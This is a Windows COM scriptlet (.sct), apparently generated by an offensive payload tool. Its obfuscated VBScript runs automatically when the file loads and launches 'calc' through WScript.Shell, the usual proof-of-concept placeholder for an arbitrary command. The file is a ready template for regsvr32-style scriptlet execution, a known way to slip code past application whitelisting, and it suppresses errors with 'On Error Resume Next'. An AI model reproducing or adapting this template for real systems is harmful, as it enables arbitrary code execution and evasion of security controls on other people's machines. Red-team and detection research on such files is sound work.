<?XML version="1.0"?>
<scriptlet>
<registration progid="LvVGf" classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<script language="VBScript">
<![CDATA[  

On Error Resume Next
Sub obf_Runtime()
    obf_MacroEntryPoint
End Sub

Sub obf_LaunchCommand(ByVal obf_command)
    Dim obf_launcher
    Dim obf_cmd

    With CreateObject("WScript.Shell")
        With .Exec(obf_command)
            .Terminate
        End With
    End With
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub obf_GeneratorEntryPoint()
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "calc"

End Sub

obf_Runtime

]]>
</script>
</registration>
</scriptlet>